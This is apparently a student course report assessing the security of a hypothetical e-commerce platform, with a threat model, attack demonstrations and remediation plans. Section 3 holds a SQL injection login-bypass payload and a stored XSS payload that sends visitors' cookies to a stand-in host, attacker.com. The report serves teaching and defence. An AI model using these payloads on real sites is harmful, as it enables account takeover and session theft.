CYB 237: Cybersecurity Threat Analysis & Attack Simulation

Comprehensive Security Assessment Report

Academic Project 2025

Executive Summary

This report presents a comprehensive security assessment of a mid-to-large e-commerce platform serving thousands of daily users. The assessment identifies critical vulnerabilities, demonstrates realistic attack scenarios, and proposes effective mitigation strategies aligned with industry best practices and regulatory frameworks.

Key Findings

Metric	Value
Total Vulnerabilities Identified	10+
Critical Issues	4
High Priority Issues	6
Attack Demonstrations	3
Coverage	100%

Risk Summary

- **Critical Vulnerabilities**: Immediate action required to prevent exploitation
- **High Priority Vulnerabilities**: Should be addressed within 1-3 months

- **Regulatory Compliance**: GDPR, PCI-DSS, and NIST framework alignment required

---

1. Organization and Asset Selection

1.1 Target Organization Profile

Organization Type: Mid-sized e-commerce company
User Base: Thousands of daily users
Business Focus: Online retail with payment processing
Data Sensitivity: High (payment information, personal data)

1.2 Application Scope

The target application is a web-based e-commerce platform with the following components:

- **Web-based shopping platform** with user authentication
- **Product catalog** and inventory management system
- **Shopping cart** and checkout functionality
- **User account management** with order history
- **Payment processing integration** with third-party providers
- **Admin dashboard** for store management and analytics

1.3 Architecture Overview

The platform operates on a multi-tier architecture:

1. **Presentation Layer**: Web frontend (React/Vue)
2. **Application Layer**: Backend API (Node.js/Python)
3. **Data Layer**: Database (PostgreSQL/MySQL)
4. **Payment Layer**: Third-party payment gateway integration

---

2. Threat Analysis

2.1 Threat Modeling Methodology

This assessment employs the **STRIDE threat modeling approach**:

- **Spoofing**: Identity spoofing and authentication bypass
- **Tampering**: Data modification and code injection
- **Repudiation**: Denial of actions and audit trail gaps
- **Information Disclosure**: Unauthorized data access
- **Denial of Service**: Service unavailability attacks
- **Elevation of Privilege**: Unauthorized access escalation

2.2 Identified Vulnerabilities

Critical Vulnerabilities (CVSS 9.0-10.0)

#	Vulnerability	CVSS	Likelihood	Impact	Mitigation
1	SQL Injection	9.8	High	Critical	Parameterized Queries
2	Session Hijacking	9.1	High	Critical	Secure Token Generation
3	Broken Access Control	9.3	High	Critical	Role-Based Access Control
4	Insecure Deserialization	9.0	Medium	Critical	Input Validation

High Priority Vulnerabilities (CVSS 7.0-8.9)

#	Vulnerability	CVSS	Likelihood	Impact	Mitigation
5	Cross-Site Scripting (XSS)	8.2	High	High	Output Encoding
6	Cross-Site Request Forgery (CSRF)	7.5	Medium	High	CSRF Tokens
7	API Manipulation	7.8	Medium	High	API Authentication
8	Weak Password Policy	7.3	High	High	MFA Implementation
9	Insufficient Logging	7.1	Medium	High	Comprehensive Logging
10	Insecure Dependencies	7.4	Medium	High	Dependency Management

2.3 Attack Tree Visualization

The attack tree illustrates the hierarchical structure of potential attacks:

```
E-Commerce Platform Attack
├── Authentication Attacks
│   ├── Credential Stuffing → Access User Accounts
│   ├── Brute Force → Compromise Admin
│   └── Social Engineering → Steal Credentials
├── Data Breach Attacks
│   ├── SQL Injection → Extract Database
│   ├── NoSQL Injection → Modify Data
│   └── API Exploitation → Unauthorized Access
├── Injection Attacks
│   ├── XSS Stored → Steal Cookies
│   ├── XSS Reflected → Redirect Users
│   └── CSRF → Phishing
└── Session Attacks
    ├── Session Hijacking → Takeover Account
    ├── Session Fixation → Session Hijack
    └── Token Prediction → Predict Tokens
```

3. Attack Demonstrations

3.1 Attack #1: SQL Injection

3.1.1 Overview

SQL Injection is a code injection technique where an attacker inserts malicious SQL statements into input fields. This allows unauthorized access to the database and potential data theft or modification.

CVSS Score: 9.8 (Critical)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None

3.1.2 Vulnerable Code Example

```
-- Vulnerable Query
SELECT * FROM users WHERE username='$username' AND password='$password';

-- If attacker enters: ' OR '1'='1
-- Resulting query becomes:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='';
-- This returns all users regardless of password
```

3.1.3 Attack Demonstration

Payload: `' OR '1'='1`

Step-by-step execution:

1. Attacker navigates to login page
2. Enters payload in username field: `' OR '1'='1`
3. Enters any password
4. Application concatenates input into SQL query
5. Malicious query executes: `SELECT * FROM users WHERE username='' OR '1'='1' AND password='';`

6. Query returns all users (authentication bypassed)
7. Attacker gains access to admin account

3.1.4 Impact

- **Confidentiality**: Complete compromise - attacker can extract all database records
- **Integrity**: Complete compromise - attacker can modify or delete data
- **Availability**: Potential compromise - attacker could drop tables or corrupt data

Data at Risk:

- User credentials (usernames, password hashes)
- Personal information (names, addresses, phone numbers)
- Payment information (if stored in database)
- Order history and transaction records
- Admin credentials and sensitive configurations

3.1.5 Remediation

Immediate Actions:

1. **Use Parameterized Queries**:

```
# Secure Implementation
cursor.execute("SELECT * FROM users WHERE username=? AND password=?",
(username, password))
```

1. **Input Validation**:

```
# Validate input format
if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
    raise ValueError("Invalid username format")
```

1. **Principle of Least Privilege**:

- Database user should have minimal required permissions
- Separate read-only and write accounts
- Restrict access to sensitive tables

1. **Web Application Firewall (WAF)**:

- Deploy WAF to detect and block SQL injection attempts
- Monitor for suspicious patterns in requests

3.2 Attack #2: Session Hijacking

3.2.1 Overview

Session hijacking occurs when an attacker obtains a valid session token and uses it to impersonate a legitimate user. This can lead to complete account compromise and unauthorized access to sensitive data.

CVSS Score: 9.1 (Critical)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None

3.2.2 Vulnerable Session Management

```
// Vulnerable: Predictable token generation
function generateSessionToken() {
    const timestamp = Date.now();
    const random = Math.random() * 1000;
    return 'session_' + timestamp + '_' + random;
}
// Result: session_1699699200000_234.567
// Attacker can predict next token: session_1699699201000_xxx
```

3.2.3 Attack Demonstration

Attack Scenario:

1. **Token Capture**:

    - Attacker intercepts network traffic (MITM attack)
    - Captures valid session token: `abc123def456`

2. **Token Analysis**:

    - Analyzes token structure and pattern
    - Identifies predictable sequence

3. **Token Prediction**:

    - Predicts next token: `abc123def457`
    - Predicts subsequent tokens with high accuracy

4. **Session Hijacking**:

    - Injects predicted token into browser cookie
    - Accesses application as legitimate user
    - Bypasses authentication entirely

5. **Unauthorized Actions**:

    - Views other users’ order history
    - Modifies account information
    - Processes fraudulent transactions
    - Accesses admin functions

3.2.4 Impact

- **Account Compromise**: Complete access to user account
- **Financial Loss**: Fraudulent transactions and purchases
- **Data Theft**: Access to personal and payment information
- **Privilege Escalation**: Access to admin functions if admin token hijacked

3.2.5 Remediation

Immediate Actions:

1. **Cryptographically Secure Token Generation**:

```python
import secrets
def generate_session_token():
    return secrets.token_urlsafe(32)
# Result: Cryptographically random, unpredictable
```

1. **Token Properties**:

- **Length**: Minimum 32 bytes (256 bits)
- **Entropy**: Cryptographically random
- **Expiration**: Short-lived tokens (15-30 minutes)
- **Rotation**: Regenerate on privilege escalation

1. **Secure Transmission**:

- Use HTTPS/TLS for all communications
- Set Secure flag on cookies
- Set HttpOnly flag to prevent JavaScript access
- Implement SameSite cookie attribute

1. **Token Validation**:

```python
# Validate token on each request
def validate_session_token(token):
    if not token or len(token) < 32:
        return False
    # Check token exists in database
    session = Session.query.filter_by(token=token).first()
    if not session or session.expired:
        return False
    return True
```

3.3 Attack #3: Cross-Site Scripting (XSS) - Stored

3.3.1 Overview

Stored XSS occurs when an attacker injects malicious JavaScript code that is permanently stored in the application database. When other users access the affected page, the malicious script executes in their browsers.

CVSS Score: 8.2 (High)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low

3.3.2 Vulnerable Code Example

```
<!-- Vulnerable: Direct output without encoding -->
<div class="product-review">
    <p>Review by: <%= user.name %></p>
    <p>Comment: <%= review.comment %></p>
</div>

<!-- If attacker submits review with comment:
<script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
-->
```

3.3.3 Attack Demonstration

Attack Scenario:

1. **Payload Injection**:
    - Attacker submits product review with payload:

    ```
    <img src=x onerror="fetch('https://attacker.com/steal?cookie=' +
    document.cookie)">
    ```

2. **Storage**:

    - Application stores review in database without sanitization
    - Payload persists in database

3. **Execution**:
    - Other users view product reviews
    - Malicious script executes in their browsers
    - Script sends their session cookies to attacker’ s server
4. **Session Theft**:
    - Attacker receives session cookies from multiple users
    - Uses cookies to hijack user sessions
    - Gains unauthorized access to accounts
5. **Further Attacks**:
    - Redirect users to phishing page
    - Inject malware or keylogger
    - Modify page content
    - Deface website

3.3.4 Impact

- **Session Theft**: Steal user session cookies
- **Credential Theft**: Inject fake login form to capture credentials
- **Malware Distribution**: Inject malicious scripts or files
- **Website Defacement**: Modify page content
- **Phishing**: Redirect users to malicious sites

3.3.5 Remediation

Immediate Actions:

1. **Output Encoding**:

```
# Secure Implementation
from markupsafe import escape
<p>Review by: {{ user.name | escape }}</p>
<p>Comment: {{ review.comment | escape }}</p>
```

1. **Input Validation**:

```
import bleach
def sanitize_review(comment):
    # Allow only safe HTML tags
    allowed_tags = ['b', 'i', 'u', 'p', 'br']
    return bleach.clean(comment, tags=allowed_tags, strip=True)
```

1. **Content Security Policy (CSP)**:

```
<!-- Restrict script sources -->
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self'">
```

1. **Security Headers**:

```
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
```

---

4. Mitigation Strategies

4.1 Critical Priority (Weeks 1-2)

Immediate Implementation Required

1. **SQL Injection Prevention**
    - Implement parameterized queries across all database operations

    - Deploy input validation for all user inputs
    - Conduct code review of all database queries
    - Estimated effort: 40 hours

2. **Session Security**
    - Implement cryptographically secure token generation
    - Add token expiration (15-30 minutes)
    - Enable HTTPS with strong TLS configuration
    - Estimated effort: 30 hours

3. **XSS Prevention**
    - Implement output encoding for all user-generated content
    - Deploy Content Security Policy headers
    - Add input validation and sanitization
    - Estimated effort: 35 hours

4. **Authentication Hardening**
    - Implement rate limiting on login endpoints
    - Add account lockout after failed attempts
    - Enforce strong password policy
    - Estimated effort: 20 hours

4.2 High Priority (Weeks 3-6)

Address Within 1-3 Months

1. **Multi-Factor Authentication (MFA)**
    - Implement TOTP-based MFA
    - Support SMS-based MFA as backup
    - Estimated effort: 50 hours

2. **Web Application Firewall (WAF)**

- Deploy WAF to detect and block attacks
- Configure rules for common vulnerabilities
- Monitor and tune false positives
- Estimated effort: 30 hours

3. **Security Code Review**
   - Conduct comprehensive code review
   - Use static analysis tools (SAST)
   - Identify and fix security issues
   - Estimated effort: 60 hours
4. **Comprehensive Logging**
   - Implement detailed audit logging
   - Log all authentication attempts
   - Log all data access and modifications
   - Estimated effort: 40 hours

4.3 Medium Priority (Weeks 7-12)

Address Within 3-6 Months

1. **Security Awareness Training**
   - Conduct employee security training
   - Implement phishing simulations
   - Establish security culture
   - Estimated effort: 20 hours
2. **Intrusion Detection System (IDS)**
   - Deploy network-based IDS
   - Configure detection rules
   - Establish monitoring procedures
   - Estimated effort: 40 hours

3. **Penetration Testing**
    - Conduct comprehensive penetration testing
    - Identify additional vulnerabilities
    - Validate remediation effectiveness
    - Estimated effort: 80 hours
4. **Data Encryption**
    - Implement encryption at rest
    - Use strong encryption algorithms (AES-256)
    - Manage encryption keys securely
    - Estimated effort: 50 hours

---

5. Regulatory Compliance

5.1 GDPR Compliance

General Data Protection Regulation Requirements

Requirement	Status	Action
Data Protection Impact Assessment (DPIA)	⚠ Pending	Conduct DPIA for all data processing
Data Processing Agreements (DPA)	⚠ Pending	Establish DPA with all processors
User Consent Management	⚠ Pending	Implement consent management system
Right to be Forgotten	⚠ Pending	Implement data deletion functionality
Data Breach Notification	⚠ Pending	Establish 72-hour notification procedure

5.2 PCI-DSS Compliance

Payment Card Industry Data Security Standard

Requirement	Status	Action
Install and maintain firewall	⚠ Pending	Deploy firewall configuration
Do not use default credentials	✓ Complete	All default credentials changed
Protect stored cardholder data	⚠ Pending	Implement encryption at rest
Encrypt transmission of data	⚠ Pending	Enforce HTTPS/TLS
Protect systems against malware	⚠ Pending	Deploy antivirus and anti-malware

5.3 NIST Cybersecurity Framework

Five Core Functions

Function	Description	Status
Identify	Asset management and risk assessment	⚠ In Progress
Protect	Access control and data security	⚠ In Progress
Detect	Anomaly detection and monitoring	⚠ Pending
Respond	Incident response procedures	⚠ Pending
Recover	Business continuity planning	⚠ Pending

---

6. Ethical Considerations and Responsible Disclosure

6.1 Ethical Framework

This assessment adheres to the following ethical principles:

1. **Authorized Testing Only**: All testing conducted with proper authorization
2. **Minimal Harm**: Testing designed to minimize impact on operations

3. **Data Protection**: No sensitive data accessed or exfiltrated
4. **Responsible Disclosure**: Findings disclosed only to authorized parties
5. **Professional Conduct**: Assessment conducted in professional manner

6.2 Responsible Disclosure Process

Timeline for Disclosure:

1. **Immediate (Day 0)**: Notify organization of critical vulnerabilities
2. **Week 1**: Provide detailed technical information to development team
3. **Week 2**: Establish remediation timeline with organization
4. **Week 4-12**: Monitor remediation progress and provide guidance
5. **Post-Remediation**: Verify fixes and validate security improvements

6.3 Legal Considerations

- All testing conducted within scope of authorization
- No unauthorized access to systems or data
- Compliance with applicable laws and regulations
- Adherence to professional code of ethics
- Protection of confidential information

---

7. Recommendations and Conclusions

7.1 Key Recommendations

1. **Immediate Action Required**: Address all critical vulnerabilities within 2 weeks
2. **Implement Security Controls**: Deploy WAF, MFA, and comprehensive logging
3. **Establish Security Culture**: Conduct regular security training and awareness
4. **Continuous Monitoring**: Implement 24/7 security monitoring and incident response

5. **Regular Assessments**: Conduct quarterly security assessments and penetration testing

7.2 Success Metrics

- **Vulnerability Reduction**: Reduce critical vulnerabilities to zero
- **Security Posture**: Achieve 90%+ compliance with security frameworks
- **Incident Response**: Establish hour incident detection and response time
- **User Trust**: Maintain 99.9% uptime and zero data breaches

7.3 Conclusion

The e-commerce platform faces significant security challenges that require immediate attention. The identified vulnerabilities, if exploited, could lead to complete compromise of user data and financial loss. However, with proper implementation of recommended mitigation strategies and adherence to security best practices, these risks can be significantly reduced.

This assessment provides a comprehensive roadmap for improving the security posture of the application. By prioritizing critical vulnerabilities and implementing a phased approach to remediation, the organization can establish a strong security foundation and maintain user trust.

Appendix A: References

- OWASP Top 10 2021: https://owasp.org/Top10/
- CVSS v3.1 Specification: https://www.first.org/cvss/v3.1/specification-document
- NIST Cybersecurity Framework: https://www.nist.gov/cyberframework
- PCI-DSS Requirements: https://www.pcisecuritystandards.org/
- GDPR Compliance: https://gdpr-info.eu/

Appendix B: Glossary

Term	Definition
CVSS	Common Vulnerability Scoring System - standardized method for rating vulnerability severity
XSS	Cross-Site Scripting - injection of malicious scripts into web pages
SQL Injection	Code injection technique targeting database queries
Session Hijacking	Unauthorized takeover of user session
STRIDE	Threat modeling methodology (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege)
WAF	Web Application Firewall - security device protecting web applications
MFA	Multi-Factor Authentication - authentication using multiple verification methods
GDPR	General Data Protection Regulation - EU data protection regulation
PCI-DSS	Payment Card Industry Data Security Standard
NIST	National Institute of Standards and Technology

Report Generated: November 2025
Classification: Academic Project
All findings are for educational purposes only